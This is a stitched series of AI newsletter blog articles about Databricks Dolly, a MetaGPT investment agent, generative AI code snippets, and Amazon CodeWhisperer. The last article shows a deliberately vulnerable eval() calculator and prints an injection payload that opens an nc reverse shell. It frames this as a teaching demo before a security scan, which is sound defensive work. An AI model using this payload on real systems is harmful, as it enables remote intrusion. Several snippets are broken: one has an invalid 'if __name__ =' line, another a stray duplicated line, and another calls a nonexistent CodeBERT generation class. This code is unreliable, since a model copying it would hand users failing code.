engages with enterprise customers across geographies and helps them accelerate digital transformation using Microsoft Business Applications , Data, and AI solutions. In his spare time, he collaborates with like-minded and helps solve business problems for Nonprofit organizations using technology.  Adeel is also known for his unique approach to learning and development. During the COVID-19 lockdown, he introduced his 10-year-old twins to Microsoft Learn. The twins not only developed their first Microsoft Power Platform app—an expense tracker—but also became one of the youngest twins to earn the Microsoft Power Platform certification. 

Dive deeper into the world of AI innovation and stay ahead of the AI curve! Subscribe to our AI_Distilled newsletter for the latest insights. Don't miss out – sign up today!IntroductionArtificial intelligence is playing an increasingly crucial role in assisting businesses and organizations to process huge volumes of data that the world is producing. The development of huge language models to evaluate enormous amounts of text data is one of the largest challenges in AI research. Databricks Dolly revolutionized the Databricks project, opening the door for more complex NLP models and improving the field of AI technology.Databricks Dolly for AIBefore we deep dive into Databricks Dolly and its impact on the future of AI adoption, let’s understand the basics of Large Language Models and their current challenges.Large Language Models & Databricks DollyAn artificial intelligence system called a large language model is used to produce human-like language and comprehend natural language processing activities. These models are created using deep learning methods and are trained on a lot of text input using a neural network design. Its major objective is to produce meaningful and coherent text from a given prompt or input. There are many uses for this, including speech recognition, chatbots, language translation, etc.They have gained significant popularity because of below capabilities :Text GenerationLanguage TranslationClassification and Categorization Conversational AIRecently ChapGPT from OpenAI, Google Bard, and Bing have created unified models for training and fine-tuning such models at a large scale. Now the issue with these LLMs is that they save user data on external servers, opening the cloud to unauthorized users and increasing the risk of sensitive data being compromised. Additionally, They may provide irrelevant information that could potentially injure users and lead to poor judgments, as well as offensive, discriminating content against certain individuals.In order to overcome this challenge, there is a need for open-source alternatives that promote the accuracy, and security of Large Language Models. The Databricks team has built Databricks Dolly, an open-source chatbot that adheres to these criteria and performs exceptionally in a variety of use situations, in response to these requirements after carefully examining user issues.Databricks Dolly can produce text by responding to questions, summarising ideas, and other natural language commands. It is built on an open-source, 6-billion-parameter model from EleutherAI that has been modified using the databricks-dolly-15k dataset of user-generated instructions. Due to Dolly's open-source nature and commercial licensing, anyone can use it to build interactive applications without having to pay for API access or divulge their data to outside parties. Dolly may be trained for less than $30, making construction costs low. Data can be saved in the DBFS root or another cloud object storage location that we specify when Dolly generates an answer. Using Dolly, we can design, construct, and personalize LLM without sharing any data.                                                         Image 1 - Databricks Dolly DifferentiatorsDemocratizing the magic of Databricks DollyWith Databricks Dolly , we can manage the below types of engagements.1.  Open & Close ended Question and Answers2.  Information Parsing from web3.  Detailed Answers based on the input4.  Creative Writing Now, Let’s see in detail how we can use Databricks dolly.Step 1 : Install Required LibrariesUse the below command in Databricks notebook or use cmd to install the required packages.%pip install "accelerate>=0.16.0,<1" "transformers[torch]>=4.28.1,<5" "torch>=1.13.1,<2"                                                                                   Image 2 - Databricks Dolly Package InstallationAs you can see from the image, once we execute this command in Databricks, the required packages are installed.Accelerate : Accelerate the training of machine learning modelsTransformers : Collection of pre-trained models for NLP activitiesTorch : To build and train deep learning modelsStep 2 : Input to the Databricks DollyOnce the model is loaded, the next step is to generate text based on the generate_next function.                                                                                                                     Image 3 - Databricks Dolly - Create Pipeline for remote code executionHere, the pipeline function from the Transformers library is used to execute the NLP tasks such as text generation, sentiment analysis, etc. Option trust_remote_code is used for the remote code execution.Step 3 : Pipeline reference to parse the output                                                                   Image 4 -Databricks Dolly - Create a Pipeline for remote code executionNow, the final step is to provide the textual input to the model using the generate_text function to which will use the language model to generate the response.Best Practices of Using Databricks DollyBe specific and lucid in your instructions to DollyUse Databricks Machine Learning Models to train and deploy Dolly for a scalable and faster executionUse the hugging face library and repo which has multiple tutorials and examplesConclusionThis article describes the difficulties that organizations have adopting Large Language Models and how Databricks may overcome these difficulties by utilising Dolly. Dolly gives businesses the ability to create a customized LLM that meets their unique requirements and has the added benefit of having open-source source code. In order to maximize LLM performance, the article also highlights the significance of recommended practices.Author Bio:Sagar Lad is a Cloud Data Solution Architect with a leading organization and has deep expertise in designing and building Enterprise-grade Intelligent Azure Data and Analytics Solutions. He is a published author, content writer, Microsoft Certified Trainer, and C# Corner MVP.Link - Medium , Amazon , LinkedIn

Dive deeper into the world of AI innovation and stay ahead of the AI curve! Subscribe to our AI_Distilled newsletter for the latest insights. Don't miss out – sign up today!This article is an excerpt from the book, The Future of Finance with ChatGPT and Power BI, by James Bryant, Alok Mukherjee. Enhance decision-making, transform your market approach, and find investment opportunities by exploring AI, finance, and data visualization with ChatGPT's analytics and Power BI's visuals.IntroductionThe MetaGPT model is a highly advanced and customizable model that has been designed to address specific research and analysis needs within various domains. In this particular context, it’s geared towards identifying investment opportunities within the US market that are influenced by cybersecurity regulatory changes or cyber breaches.Roles and responsibilitiesThe model has been configured to perform various specialized roles, including these:Cybersecurity regulatory research: Understanding changes in cybersecurity laws and regulations and their impact on the marketCyber breach analysis: Investigating cyber breaches, understanding their nature, and identifying potential investment risks or opportunitiesInvestment analysis: Evaluating investment opportunities based on insights derived from cybersecurity changesTrading decisions: Making informed buy or sell decisions on financial productsPortfolio management: Overseeing and aligning the investment portfolio based on cybersecurity dynamics Here’s how it worksResearch phase: The model initiates research on the given topics, either cybersecurity regulations or breaches, depending on the role. It breaks down the topic into searchable queries, collects relevant data, ranks URLs based on credibility, and summarizes the gathered information.Analysis phase: Investment analysts then evaluate the summarized information to identify trends, insights, and potential investment opportunities or risks. They correlate cybersecurity data with market behavior, investment potential, and risk factors.Trading phase: Based on the analysis, investment traders execute appropriate trading decisions, buying or selling assets that are influenced by the cybersecurity landscape.Management phase: The portfolio manager integrates all the insights to make overarching decisions about asset allocation, risk management, and alignment of the investment portfolio.The following are its purposes and benefits:Timely insights: By automating the research and analysis process, the model provides quick insights into a dynamic field such as cybersecurity, where changes can have immediate market impactsData-driven decisions: The model ensures that investment decisions are grounded in comprehensive research and objective analysis, minimizing biasCustomization: The model can be tailored to focus on specific aspects of cybersecurity, such as regulatory changes or particular types of breaches, allowing for targeted investment strategiesCollaboration: By defining different roles, the model simulates a collaborative approach, where various experts contribute their specialized knowledge to achieve a common investment goalIn conclusion, the MetaGPT model, with its diverse roles and sophisticated functions, serves as a powerful tool for investors looking to leverage the ever-changing landscape of cybersecurity. By integrating research, analysis, trading, and portfolio management, it provides a comprehensive, datadriven approach to identifying and capitalizing on investment opportunities arising from the complex interplay of cybersecurity and finance. It not only streamlines the investment process but also enhances the accuracy and relevance of investment decisions in a rapidly evolving field.Source: GitHub: MIT License: https://github.com/geekan/MetaGPT.Source: MetaGPT: Meta Programming for Multi-Agent Collaborative Framework Paper:[2308.00352] MetaGPT: Meta Programming for Multi-Agent Collaborative Framework (arxiv.org) (https://arxiv.org/abs/2308.00352)By Sirui Hong, Xiawu Zheng, Jonathan Chen, Yuheng Cheng, Jinlin Wang, Ceyao Zhang, Zili Wang, Steven Ka Shing Yau, Zijuan Lin, Liyang Zhou, Chenyu Ran, Lingfeng Xiao, Chenglin WuThe following is a Python code snippet:1. Begin with the installations:npm --version sudo npm install -g @mermaid-js/mermaid-cli git clone https://github.com/geekan/metagpt cd metagpt python setup.py install2.  Run the following Python code:# Configuration: OpenAI API Key # Open the config/key.yaml file and insert your OpenAI API key in place of the placeholder. # cp config/config.yaml config/key.yaml # save and close file # Import Necessary Libraries import asyncio import json from typing import Callable from pydantic import parse_obj_as # Import MetaGPT Specific Modules from metagpt.actions import Action from metagpt.config import CONFIG from metagpt.logs import logger from metagpt.tools.search_engine import SearchEngine from metagpt.tools.web_browser_engine import WebBrowserEngine, WebBrowserEngineType from metagpt.utils.text import generate_prompt_chunk, reduce_ message_length # Define Roles # NOTE: Replace these role definitions as per your project's needs. RESEARCHER_ROLES = { 'cybersecurity_regulatory_researcher': "Cybersecurity  Regulatory Researcher", 'cyber_breach_researcher': "Cyber Breach Researcher", 'investment_analyst': "Investment Analyst", 'investment_trader': "Investment Trader", 'portfolio_manager': "Portfolio Manager" } # Define Prompts # NOTE: Customize these prompts to suit your project's specific requirements. LANG_PROMPT = "Please respond in {language}." RESEARCH_BASE_SYSTEM = """You are a {role}. Your primary goal is  to understand and analyze \ changes in cybersecurity regulations or breaches, identify  investment opportunities, and make informed \ decisions on financial products, aligning with the current  cybersecurity landscape.""" RESEARCH_TOPIC_SYSTEM = "You are a {role}, and your research  topic is \"{topic}\"." SEARCH_TOPIC_PROMPT = """Please provide up to 2 necessary  keywords related to your \ research topic on cybersecurity regulations or breaches that  require Google search. \ Your response must be in JSON format, for example:  ["cybersecurity regulations", "cyber breach analysis"].""" SUMMARIZE_SEARCH_PROMPT = """### Requirements 1. The keywords related to your research topic and the search results are shown in the "Reference Information" section. 2. Provide up to {decomposition_nums} queries related to your research topic based on the search results. 3. Please respond in JSON format as follows: ["query1",  "query2", "query3", ...]. ### Reference Information {search} """ DECOMPOSITION_PROMPT = """You are a {role}, and before delving  into a research topic, you break it down into several \ sub-questions. These sub-questions can be researched through online searches to gather objective opinions about the given \ topic. --- The topic is: {topic} --- Now, please break down the provided research topic into  {decomposition_nums} search questions. You should respond with  an array of \ strings in JSON format like ["question1", "question2", ...]. """ COLLECT_AND_RANKURLS_PROMPT = """### Reference Information 1. Research Topic: "{topic}" 2. Query: "{query}" 3. The online search results: {results} --- Please remove irrelevant search results that are not related to the query or research topic. Then, sort the remaining search  results \ based on link credibility. If two results have equal credibility, prioritize them based on relevance. Provide the  ranked \ results' indices in JSON format, like [0, 1, 3, 4, ...], without including other words. """ WEB_BROWSE_AND_SUMMARIZE_PROMPT = '''### Requirements 1. Utilize the text in the "Reference Information" section to respond to the question "{query}". 2. If the question cannot be directly answered using the text,  but the text is related to the research topic, please provide \ a comprehensive summary of the text. 3. If the text is entirely unrelated to the research topic,  please reply with a simple text "Not relevant." 4. Include all relevant factual information, numbers, statistics, etc., if available. ### Reference Information {content} ''' CONDUCT_RESEARCH_PROMPT = '''### Reference Information {content} ### Requirements Please provide a detailed research report on the topic:  "{topic}", focusing on investment opportunities arising \ from changes in cybersecurity regulations or breaches. The report must: - Identify and analyze investment opportunities in the US market. - Detail how and when to invest, the structure for the investment, and the implementation and exit strategies. - Adhere to APA style guidelines and include a minimum word count of 2,000. - Include all source URLs in APA format at the end of the report. ''' # Roles RESEARCHER_ROLES = { 'cybersecurity_regulatory_researcher': "Cybersecurity  Regulatory Researcher", 'cyber_breach_researcher': "Cyber Breach Researcher", 'investment_analyst': "Investment Analyst", 'investment_trader': "Investment Trader", 'portfolio_manager': "Portfolio Manager" } # The rest of the classes and functions remain unchangedImportant notesExecute the installation and setup commands in your terminal before running the Python scriptDon’t forget to replace placeholder texts in config files and the Python script with actual data or API keysEnsure that MetaGPT is properly installed and configured on your machineIn this high-stakes exploration, we dissect the exhilarating yet precarious world of LLM-integrated applications. We delve into how they’re transforming finance while posing emergent ethical dilemmas and security risks that simply cannot be ignored. Be prepared to journey through real-world case studies that highlight the good, the bad, and the downright ugly of LLM applications in finance, from market-beating hedge funds to costly security breaches and ethical pitfalls.Conclusion"In an era shaped by cyber landscapes, MetaGPT emerges as the guiding light for astute investors. Seamlessly blending cybersecurity insights with finance, it pioneers a data-driven approach, unveiling opportunities and risks often concealed within regulatory shifts and breaches. This model isn't just a tool; it's the compass navigating the ever-changing intersection of cybersecurity and finance, empowering investors to thrive in an intricate, high-stakes market."Author BioJames Bryant, a finance and technology expert, excels at identifying untapped opportunities and leveraging cutting-edge tools to optimize financial processes. With expertise in finance automation, risk management, investments, trading, and banking, he's known for staying ahead of trends and driving innovation in the financial industry. James has built corporate treasuries like Salesforce and transformed companies like Stanford Health Care through digital innovation. He is passionate about sharing his knowledge and empowering others to excel in finance. Outside of work, James enjoys skiing with his family in Lake Tahoe, running half marathons, and exploring new destinations and culinary experiences with his wife and daughter.Aloke Mukherjee is a seasoned technologist with over a decade of experience in business architecture, digital transformation, and solutions architecture. He excels at applying data-driven solutions to real-world problems and has proficiency in data analytics and planning. Aloke worked at EMC Corp and Genentech and currently spearheads the digital transformation of Finance Business Intelligence at Stanford Health Care. In addition to his work, Aloke is a Certified Personal Trainer and is passionate about helping his clients stay fit. Aloke also has a passion for wine and exploring new vineyards.

Dive deeper into the world of AI innovation and stay ahead of the AI curve! Subscribe to our AI_Distilled newsletter for the latest insights. Don't miss out – sign up today!IntroductionGenerative AI is a pinnacle achievement, particularly in the intricate domain of Natural Language Processing (NLP). As businesses and researchers delve deeper into machine intelligence, Generative AI in NLP emerges as a revolutionary force, transforming mere data into coherent, human-like language. This exploration into Generative AI's role in NLP unveils the intricate algorithms and neural networks that power this innovation, shedding light on its profound impact and real-world applications.Let us dissect the complexities of Generative AI in NLP and its pivotal role in shaping the future of intelligent communication.                                                                                                                   SourceWhat is generative AI in NLP?Generative AI in Natural Language Processing (NLP) is the technology that enables machines to generate human-like text or speech. Unlike traditional AI models that analyze and process existing data, generative models can create new content based on the patterns they learn from vast datasets. These models utilize advanced algorithms and neural networks, often employing architectures like Recurrent Neural Networks (RNNs) or Transformers, to understand the intricate structures of language.Generative AI models can produce coherent and contextually relevant text by comprehending context, grammar, and semantics. They are invaluable tools in various applications, from chatbots and content creation to language translation and code generation.Technical Marvel Behind Generative AIAt the heart of Generative AI in NLP lie advanced neural networks, such as Transformer architectures and Recurrent Neural Networks (RNNs). These networks are trained on massive text corpora, learning intricate language structures, grammar rules, and contextual relationships. Through techniques like attention mechanisms, Generative AI models can capture dependencies within words and generate text that flows naturally, mirroring the nuances of human communication.Practical Examples and Code Snippets:1. Text Generation with GPT-3OpenAI's GPT-3 (Generative Pre-trained Transformer 3) is a state-of-the-art generative language model. Using the OpenAI API, you can generate text with just a few lines of code.import openai openai.api_key = 'YOUR_API_KEY' prompt = "Once upon a time," response = openai.Completion.create( engine="text-davinci-003", prompt=prompt, max_tokens=150 ) generated_text = response.choices[0].text.strip() print("Generated Text: ", generated_text)2. Chatbot Development with RasaRasa is an open-source framework used for building conversational AI applications. It leverages generative models to create intelligent chatbots capable of engaging in dynamic conversations.from rasa.core.agent import Agent agent = Agent.load("models/dialogue", interpreter="models/nlu") user_input = input("User: ") responses = agent.handle_text(user_input) for response in responses:    print("Bot: ", response["text"])3. Language Translation with MarianMTMarianMT is a multilingual translation model provided by the Hugging Face Transformers library.from transformers import MarianTokenizer, MarianMTModel model_name = "Helsinki-NLP/opus-mt-en-de" tokenizer = MarianTokenizer.from_pretrained(model_name) model = MarianMTModel.from_pretrained(model_name) input_text = "Hello, how are you?" translated_text = model.generate(**tokenizer(input_text, return_tensors="pt", padding=True)) translated_text = tokenizer.batch_decode(translated_text, skip_special_tokens=True) print("Translated Text: ", translated_text)Generative AI in NLP enables these practical applications. It is a cornerstone for numerous other use cases, from content creation and language tutoring to sentiment analysis and personalized recommendations, making it a transformative force in artificial intelligence.How do Generative AI models help in NLP?                                                                                                                           SourceGenerative AI models, especially those powered by deep learning techniques like Recurrent Neural Networks (RNNs) and Transformer architectures, play a pivotal role in enhancing various aspects of NLP:1. Language TranslationGenerative AI models, such as OpenAI's GPT-3, have significantly improved machine translation. Training on multilingual datasets allows these models to translate text with remarkable accuracy from one language to another, enabling seamless communication across linguistic boundaries.Example Code Snippet:from transformers import MarianMTModel, MarianTokenizer model_name = "Helsinki-NLP/opus-mt-en-de" tokenizer = MarianTokenizer.from_pretrained(model_name) model = MarianMTModel.from_pretrained(model_name) input_text = "Hello, how are you?" translated_text = model.generate(**tokenizer(input_text, return_tensors="pt", padding=True)) translated_text = tokenizer.batch_decode(translated_text, skip_special_tokens=True) print("Translated Text: ", translated_text) translated_text)2. Content Creation Generative AI models assist in content creation by generating engaging articles, product descriptions, and creative writing pieces. Businesses leverage these models to automate content generation, saving time and resources while ensuring high-quality output.Example Code Snippet:from transformers import GPT2LMHeadModel, GPT2Tokenizer model_name = "gpt2" tokenizer = GPT2Tokenizer.from_pretrained(model_name) model = GPT2LMHeadModel.from_pretrained(model_name) input_prompt = "In a galaxy far, far away" generated_text = model.generate(tokenizer.encode(input_prompt, return_tensors="pt", max_length=150)) generated_text = tokenizer.decode(generated_text[0], skip_special_tokens=True) print("Generated Text: ", generated_text)Usage of Generative AIGenerative AI, with its remarkable ability to generate human-like text, finds diverse applications in the technical landscape. Let's delve into the technical nuances of how Generative AI can be harnessed across various domains, backed by practical examples and code snippets.●  Content CreationGenerative AI plays a pivotal role in automating content creation. By training models on vast datasets, businesses can generate high-quality articles, product descriptions, and creative pieces tailored to specific audiences. This is particularly useful for marketing campaigns and online platforms where engaging content is crucial.Example Code Snippet (Using OpenAI's GPT-3 API):import openai openai.api_key = 'YOUR_API_KEY' prompt = "Write a compelling introduction for a new tech product." response = openai.Completion.create( engine="text-davinci-003", prompt=prompt, max_tokens=150 ) generated_content = response.choices[0].text.strip() print("Generated Content: ", generated_content)Practical Usage: A marketing company employs Generative AI to draft product descriptions for an e-commerce website, tailoring each description based on product features and customer preferences.●  Chatbots and Virtual AssistantsGenerative AI empowers intelligent chatbots and virtual assistants, enabling natural and dynamic user conversations. These systems understand user queries and generate contextually relevant responses, enhancing customer support experiences and user engagement.Example Code Snippet (Using Rasa Framework):from rasa.core.agent import Agent agent = Agent.load("models/dialogue", interpreter="models/nlu") user_input = input("User: ") responses = agent.handle_text(user_input) for response in responses:   print("Bot: ", response["text"])Practical Usage: An online customer service platform integrates Generative AI-powered chatbots to handle customer inquiries, providing instant and accurate responses, improving user satisfaction, and reducing response time.●  Code GenerationGenerative AI assists developers by generating code snippets and completing lines of code. This accelerates the software development process, aiding programmers in writing efficient and error-free code.Example Code Snippet (Using CodeBERT Model):from transformers import CodeBertForConditionalGeneration, CodeBertTokenizer model_name = "microsoft/codebert-base" tokenizer = CodeBertTokenizer.from_pretrained(model_name) model = CodeBertForConditionalGeneration.from_pretrained(model_name) code_prompt = "Sort a list in Python." generated_code = model.generate(tokenizer.encode(code_prompt, return_tensors="pt", max_length=150)) generated_code = tokenizer.decode(generated_code[0], skip_special_tokens=True) print("Generated Code: ", generated_code)Practical Usage: A software development team integrates Generative AI into their IDE, allowing developers to receive instant code suggestions and completions, leading to faster coding, reduced errors, and streamlined collaboration.●  Creative Writing and StorytellingGenerative AI fuels creativity by generating imaginative stories, poetry, and scripts. Authors and artists use these models to brainstorm ideas or overcome creative blocks, producing unique and inspiring content.Example Code Snippet (Using GPT-3 API for Creative Writing):import openai openai.api_key = 'YOUR_API_KEY' prompt = "Write a sci-fi story about space exploration." response = openai.Completion.create( engine="text-davinci-003", prompt=prompt, max_tokens=500 ) creative_writing = response.choices[0].text.strip() print("Creative Writing: ", creative_writing)Practical Usage: A novelist utilizes Generative AI to generate plot outlines and character dialogues, providing creative prompts that serve as a foundation for developing engaging and unique stories.Also, Generative AI models excel in language translation tasks, enabling seamless communication across diverse languages. These models accurately translate text, breaking down language barriers in global interactions.Practical Usage: A language translation service utilizes Generative AI to translate legal documents, business contracts, or creative content from one language to another, ensuring accuracy and preserving the nuances of the original text.Generative AI's technical prowess is reshaping how we interact with technology. Its applications are vast and transformative, from enhancing customer experiences to aiding creative endeavors and optimizing development workflows. Stay tuned as this technology evolves, promising even more sophisticated and innovative use cases.Future of Generative AI in NLPAs Generative AI continues to evolve, the future holds limitless possibilities. Enhanced models, coupled with ethical considerations, will pave the way for applications in sentiment analysis, content summarization, and personalized user experiences. Integrating Generative AI with other emerging technologies like augmented reality and voice assistants will redefine the boundaries of human-machine interaction.ConclusionGenerative AI is a testament to the remarkable strides made in artificial intelligence. Its sophisticated algorithms and neural networks have paved the way for unprecedented advancements in language generation, enabling machines to comprehend context, nuance, and intricacies akin to human cognition. As industries embrace the transformative power of Generative AI, the boundaries of what devices can achieve in language processing continue to expand. This relentless pursuit of excellence in Generative AI enriches our understanding of human-machine interactions. It propels us toward a future where language, creativity, and technology converge seamlessly, defining a new era of unparalleled innovation and intelligent communication. As the fascinating journey of Generative AI in NLP unfolds, it promises a future where the limitless capabilities of artificial intelligence redefine the boundaries of human ingenuity.Author BioJyoti Pathak is a distinguished data analytics leader with a 15-year track record of driving digital innovation and substantial business growth. Her expertise lies in modernizing data systems, launching data platforms, and enhancing digital commerce through analytics. Celebrated with the "Data and Analytics Professional of the Year" award and named a Snowflake Data Superhero, she excels in creating data-driven organizational cultures.Her leadership extends to developing strong, diverse teams and strategically managing vendor relationships to boost profitability and expansion. Jyoti's work is characterized by a commitment to inclusivity and the strategic use of data to inform business decisions and drive progress.

Dive deeper into the world of AI innovation and stay ahead of the AI curve! Subscribe to our AI_Distilled newsletter for the latest insights. Don't miss out – sign up today!IntroductionHave you ever used an AI coding assistant like Amazon CodeWhisperer? If not, you'll be surprised at how these AI-powered tools can significantly accelerate the coding process. In the past, developers had to rely solely on their expertise and experience to build applications. At the moment, we're seeing the next generation of developers leverage AI to not only speed up the coding process but also to ensure that their applications meet the highest standards of security and reliability.In this blog post, we will dive deep into how we can use CodeWhisperer to (1) speed up the coding process and (2) detect vulnerabilities and issues in our code. We’ll have the following sections in this post: Part 01 — Technical RequirementsPart 02 — Avoiding conflicts or issues with existing installed extensionsPart 03 — Using Amazon CodeWhisperer to accelerate Python coding workPart 04 — Realizing and proving that our code is vulnerablePart 05 — Detecting security vulnerabilities with Amazon CodeWhispererWithout further ado, let’s begin!Part 01 — Technical RequirementsYou need to have Amazon CodeWhisperer installed and configured with VS Code on our local machine. Note that we will be using CodeWhisperer Professional for a single user.  Make sure to check the pricing page (https://aws.amazon.com/codewhisperer/pricing/) especially if this is your first time using CodeWhisperer. Before installing and setting up the CodeWhisperer extension in VS Code, you need to:(1) Enable IAM Identity Center and create an AWS organization(2) Create an IAM organization user(3) Set up CodeWhisperer for a single user, and(4) Set up the AWS Toolkit for VS Code (https://aws.amazon.com/visualstudiocode/).Make sure that the CodeWhisperer extension is installed and set up completely before proceeding. We’ll skip the steps for setting up and configuring VS Code so that we can focus more on how to use the different features and capabilities of Amazon CodeWhisperer.Note: Feel free to check the following link for more information on how to set up CodeWhisperer: https://docs.aws.amazon.com/codewhisperer/latest/userguide/whisper-setup-prof-devs.html.Part 02 — Avoiding conflicts or issues with existing installed extensionsTo ensure that other installed extensions won’t conflict with the AWS Toolkit, we have the option to disable all installed extensions similar to what is shown in the following image:                                                                          Image 01 — Disabling All Installed ExtensionsOnce all installed extensions have been disabled, we need to make sure that the AWS Toolkit is enabled by locating the said extension under the list of installed extensions and then clicking the Enable button (as highlighted in the following image):                                                                      Image 02 — Enabling the AWS Toolkit extensionThe AWS Toolkit may require you to connect and authenticate again. For more information on how to manage extensions in VS Code, feel free to check the following link: https://code.visualstudio.com/docs/editor/extension-marketplacePart 03 — Using Amazon CodeWhisperer to accelerate Python coding workSTEP # 01:  Let’s start by creating a new file in VS Code. Name it whisper.py (or any other filename)                                                                                                              Image 03 — Creating a new file STEP # 02: Type the following single-line comment in the first line # Create a calculator function that accepts a string expression using input() and uses eval() to evaluate the expressionSTEP # 03: Next, press the ENTER keyYou should see a recommended line of code after a few seconds. In case the recommendation disappears (or does not appear at all), feel free to press OPTION + C (if you’re on Mac) or ALT + C (if you’re on Windows or Linux)  to trigger the recommendation:                                                             Image 04 — CodeWhisperer suggesting a single line of codeSTEP # 04: Press TAB to accept the code suggestion                                                                                       Image 05 — Accepting the code suggestion by pressing TABSTEP # 05: Press ENTER to go to the next line. You should see a code recommendation after a few seconds. In case the recommendation disappears (or does not appear at all), feel free to press OPTION + C (if you’re on Mac) or ALT + C (if you’re on Windows or Linux)  to trigger the recommendation:                                                                   Image 06 — CodeWhisperer suggesting a block of codeSTEP # 06: Press TAB to accept the code suggestionImage 07 — Accepting the code suggestion by pressing TABSTEP # 07: Press ENTER twice and then backspace.STEP # 08: Type if and you should see a recommendation similar to what we have in the following image:.Image 08 — CodeWhisperer suggesting a line of codeSTEP # 09: Press ESC to ignore the recommendation.STEP # 10: Press OPTION + C (if you’re on Mac) or ALT + C (if you’re on Windows or Linux)  to trigger another recommendationImage 09 — CodeWhisperer suggesting a block of codeSTEP # 11: Press TAB to accept the code suggestionImage 10 — Accepting the code suggestion by pressing TABNote that you might get a different set of recommendations when using CodeWhisperer. In cases where there are multiple recommendations, you can use the left (←) and right (→) arrow keys to select from the list of available recommendations.In case you are planning to try the hands-on examples yourself, here is a copy of the code generated in the previous set of steps:# Create a calculator function that accepts a string expression using input() and uses eval() to evaluate the expression def calculator():    expression = input("Enter an expression: ")    result = eval(expression)    print(result)    return result if __name__ = "__main__":    calculator()    # ...STEP # 12: Open a New Terminal (inside VS Code):Image 11 — Opening a new Terminal inside VS CodeSTEP # 13: Assuming that we are able to run Python scripts locally (that is, with our local machine properly configured), we should be able to run our script by running the following (or a similar command depending on how your local machine is set up):python3 whisper.pyImage 12 — Running the code locallyIf you entered the expression 1 + 1 and got a result of 2, then our application is working just fine!Part 04 — Realizing and proving that our code is vulnerableIn order to write secure code, it’s essential that we have a good idea of how our code could be attacked and exploited. Note that we are running the examples in this section on a Mac. In case you’re unable to run some of the commands in your local machine, that should be alright as we are just demonstrating in this section why the seemingly harmless eval() function should be avoided whenever possible.STEP # 01:  Let’s run the whisper.py script again and specify print('hello') when asked to input an expression.print('hello')This should print hello similar to what we have in the following image:Image 13 — Demonstrating why using eval() is dangerousLooks like we can take advantage of this vulnerability and run any valid Python statement! Once a similar set of lines is used in a backend Web API implementation, an attacker might be able to inject commands as part of the request which could be processed by the eval() statement. This in turn could allow attackers to inject commands that would connect the target system and the attacker machine with something like a reverse shell.STEP # 02: Let’s run whisper.py again and specify the following statement when asked to input an expression:__import__('os').system('echo hello')#This should run the bash command and print hello similar to what we have in the following image:Image 14 — Another example to demonstrate why using eval() is dangerousSTEP # 03: Let’s take things a step further! Let’s open the Terminal app and let’s use netcat to listen on port 14344 by running the following command:nc -nvl 14344Image 15 — Using netcat to listen on port 14344Note that we are running the command inside the Terminal app (not the terminal window inside VS Code).STEP # 04: Navigate back to the VS Code window and run whisper.py again. This time, let’s enter the following malicious input when asked to enter an expression:__import__('os').system('mkfifo /tmp/ABC; cat /tmp/ABC | /bin/sh -i 2>&1 | nc localhost 14344 > /tmp/ABC')#This would cause the application to wait until the reverse shell is closed on the other side (that is, from the terminal window we opened in the previous step)Image 16 — Entering a malicious input to start a reverse shellNote that in order to get this to work, /tmp/ABC must not exist yet before the command runs. Feel free to delete /tmp/ABC in case you need to retry this experiment.STEP # 05: Back in our separate terminal window, we should be able to access a shell similar to what we have in the following image:Image 17 — Reverse shellFrom here, an attacker could potentially run commands that would help them steal the data stored in the compromised machine or use the compromised machine to attack other resources. Since this is just a demonstration, simply run exit to close the shell. It is important to note that in our simplified example, we used the same system for the attacker and victim machines.Image 18 — How attackers could connect the target machine to the attacker machineOf course, in real-life scenarios and penetration testing activities, the attacker machine would be a separate/external machine. This means that the malicious input needs to be modified with the external attacker's IP address (and not localhost).Important Note: It is unethical and illegal to attack resources owned by another user or company. These concepts and techniques were shared to help you understand the risks involved when using vulnerable functions such as eval().Part 05 — Detecting security vulnerabilities with Amazon CodeWhispererDo you think most developers would even know that the exploit we performed in the previous section is even possible? Probably not! One of the ways to help developers write more secure code (that is, without having to learn how to attack and exploit their own code) is by having a tool that automatically detects vulnerabilities in the code being written. The good news is that CodeWhisperer gives us the ability to run security scans with a single push of a button! We’ll show you how to do this in the next set of steps:STEP # 01: Click the AWS icon highlighted in the following image:Image 19 — Running a security scan using Amazon CodeWhispererYou should find CodeWhisperer under Developer Tools similar to what we have in Image X. Under CodeWhisperer, you should find several options such as Pause Auto-Suggestions, Run Security Scan, Select Customization, Open Code Reference Log, and Learn.STEP # 02: Click the Run Security Scan option. This will run a security scan that will flag several vulnerabilities and issues similar to what we have in the following image:Image 20 — Results of the security scanThe security scan may take about a minute to complete. It is important for you to be aware that while this type of security scan will not detect all the vulnerabilities and issues in your code, adding this step during the coding process would definitely prevent a lot of security issues and vulnerabilities.Note that we won’t discuss in this post how to fix the current code. In case you’re wondering what the next steps are, all you need to do is perform the needed modifications and then run the security scan again. Of course, there would be a bit of trial and error involved as resolving the vulnerabilities may not be as straightforward as it looks.ConclusionIn this post, we were able to showcase the different features and capabilities of Amazon CodeWhisperer. If you are interested to learn more about how various AI tools can accelerate the coding process, feel free to check Chapter 9 of my 3rd book “Building and Automating Penetration Testing Labs in the Cloud”. You’ll learn how to use AI solutions such as ChatGPT, GitHub Copilot, GitHub Copilot Labs, Amazon CodeWhisperer, and Tabnine Pro to significantly accelerate the coding process.Author BioJoshua Arvin Lat is the Chief Technology Officer (CTO) of NuWorks Interactive Labs, Inc. He previously served as the CTO of 3 Australian-owned companies and also served as the Director for Software Development and Engineering for multiple e-commerce startups in the past. Years ago, he and his team won 1st place in a global cybersecurity competition with their published research paper. He is also an AWS Machine Learning Hero and he has been sharing his knowledge in several international conferences to discuss practical strategies on machine learning, engineering, security, and management. He is also the author of the books "Machine Learning with Amazon SageMaker Cookbook", "Machine Learning Engineering on AWS", and "Building and Automating Penetration Testing Labs in the Cloud". Due to his proven track record in leading digital transformation within organizations, he has been recognized as one of the prestigious Orange Boomerang: Digital Leader of the Year 2023 award winners.

